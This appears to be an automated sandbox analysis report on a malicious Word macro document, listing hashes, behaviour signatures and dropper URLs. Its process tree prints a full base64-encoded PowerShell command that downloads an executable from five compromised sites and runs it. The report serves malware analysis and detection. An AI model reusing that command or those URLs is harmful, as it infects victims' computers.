Analysis

  • max time kernel
    106s
  • max time network
    50s
  • platform
    windows7_x64
  • resource
    win7-20220715-en
  • resource tags

    arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system
  • submitted
    24-07-2022 20:33

General

  • Target

    95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc

  • Size

    151KB

  • MD5

    0491199596fec95f256cdf779e7b60e0

  • SHA1

    f49109cb3b8d6b5c78d8b7a0e07bfbb482ac62ce

  • SHA256

    95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343

  • SHA512

    31e0a7a789bb3299be18f72c67482bc591e4378b72a557a266450fb6188a16e460f7218c4d1f1a4e71620c9e31aff3db7796b2496c6af8e5f431bdc666a0a934

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://durganamkeen.com/wp-admin/DgUwPMst/

exe.dropper

http://gfpar.es/blogs/1y3p64_jyelzm-160135920/

exe.dropper

http://yourplasteringneedscovered.co.uk/bfrye/eeURJGsK/

exe.dropper

http://ladiesbazar.in/wp-includes/74yc005bti_pui2akdp-19152074/

exe.dropper

http://engraced.org/wp-content/lwUhCxRzO/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 3 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\95b76cb37e2e3caa0e07f01c9aab219e128ea4ac3cab80aa48e9fc2733713343.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:896
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABUADEAMABfADgANAAwADkAPQAnAGoAMwAwADMAXwA4ADgAJwA7ACQAbwA3ADkANAA0AF8AMwAgAD0AIAAnADQAMwA1ACcAOwAkAHEANwAzAF8ANgAwADQAPQAnAGsAMgA0ADgAMQA4ADIAXwAnADsAJABTADUANQBfAF8AXwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAbwA3ADkANAA0AF8AMwArACcALgBlAHgAZQAnADsAJABEADYAMwAxADQAXwA0AD0AJwB0ADcAOAA2AF8AMAAnADsAJABNADMAOAA0ADEANgBfADkAPQAmACgAJwBuAGUAdwAtACcAKwAnAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4ARQB0AGAALgB3AGUAQgBjAGAAbABJAGUAYABOAFQAOwAkAHAANgAzADYAXwA4ADAANgA9ACcAaAB0AHQAcAA6AC8ALwBkAHUAcgBnAGEAbgBhAG0AawBlAGUAbgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8ARABnAFUAdwBQAE0AcwB0AC8AQABoAHQAdABwADoALwAvAGcAZgBwAGEAcgAuAGUAcwAvAGIAbABvAGcAcwAvADEAeQAzAHAANgA0AF8AagB5AGUAbAB6AG0ALQAxADYAMAAxADMANQA5ADIAMAAvAEAAaAB0AHQAcAA6AC8ALwB5AG8AdQByAHAAbABhAHMAdABlAHIAaQBuAGcAbgBlAGUAZABzAGMAbwB2AGUAcgBlAGQALgBjAG8ALgB1AGsALwBiAGYAcgB5AGUALwBlAGUAVQBSAEoARwBzAEsALwBAAGgAdAB0AHAAOgAvAC8AbABhAGQAaQBlAHMAYgBhAHoAYQByAC4AaQBuAC8AdwBwAC0AaQBuAGMAbAB1AGQAZQBzAC8ANwA0AHkAYwAwADAANQBiAHQAaQBfAHAAdQBpADIAYQBrAGQAcAAtADEAOQAxADUAMgAwADcANAAvAEAAaAB0AHQAcAA6AC8ALwBlAG4AZwByAGEAYwBlAGQALgBvAHIAZwAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBsAHcAVQBoAEMAeABSAHoATwAvACcALgBTAFAAbABJAFQAKAAnAEAAJwApADsAJABzAF8ANgA5ADEAMwAxADIAPQAnAGMAMAA3ADkAOAA1ACcAOwBmAG8AcgBlAGEAYwBoACgAJABEADcAMQAwADEAMgAgAGkAbgAgACQAcAA2ADMANgBfADgAMAA2ACkAewB0AHIAeQB7ACQATQAzADgANAAxADYAXwA5AC4ARABPAFcATgBsAG8AYQBkAGYASQBMAEUAKAAkAEQANwAxADAAMQAyACwAIAAkAFMANQA1AF8AXwBfACkAOwAkAHoANwA2ADAAMQAzAD0AJwBxADEAMQA3ADUAMABfADAAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABTADUANQBfAF8AXwApAC4AbABFAG4AZwB0AGgAIAAtAGcAZQAgADIANQAyADIAMwApACAAewAuACgAJwBJAG4AdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABTADUANQBfAF8AXwA7ACQAcwBfADQAMwAwADkAOAA5AD0AJwBEAF8ANAA5ADkAMAA1ADQAJwA7AGIAcgBlAGEAawA7ACQAUAA5ADIANABfADIAXwAwAD0AJwBtADYANwA2AF8AMwA4ADUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUwA2AF8AMwA5ADIAPQAnAGgAXwA2ADYAMwAzADYAMQAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1068

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/896-59-0x000007FEFBC41000-0x000007FEFBC43000-memory.dmp

      Filesize

      8KB

    • memory/1068-64-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1068-63-0x000007FEF3540000-0x000007FEF409D000-memory.dmp

      Filesize

      11.4MB

    • memory/1068-69-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/1068-68-0x0000000002824000-0x0000000002827000-memory.dmp

      Filesize

      12KB

    • memory/1068-66-0x000000000282B000-0x000000000284A000-memory.dmp

      Filesize

      124KB

    • memory/1068-62-0x000007FEF4160000-0x000007FEF4B83000-memory.dmp

      Filesize

      10.1MB

    • memory/1068-65-0x000000001B760000-0x000000001BA5F000-memory.dmp

      Filesize

      3.0MB

    • memory/2008-60-0x000000007119D000-0x00000000711A8000-memory.dmp

      Filesize

      44KB

    • memory/2008-54-0x0000000072731000-0x0000000072734000-memory.dmp

      Filesize

      12KB

    • memory/2008-57-0x0000000076091000-0x0000000076093000-memory.dmp

      Filesize

      8KB

    • memory/2008-67-0x000000007119D000-0x00000000711A8000-memory.dmp

      Filesize

      44KB

    • memory/2008-55-0x00000000701B1000-0x00000000701B3000-memory.dmp

      Filesize

      8KB

    • memory/2008-56-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2008-70-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2008-71-0x000000007119D000-0x00000000711A8000-memory.dmp

      Filesize

      44KB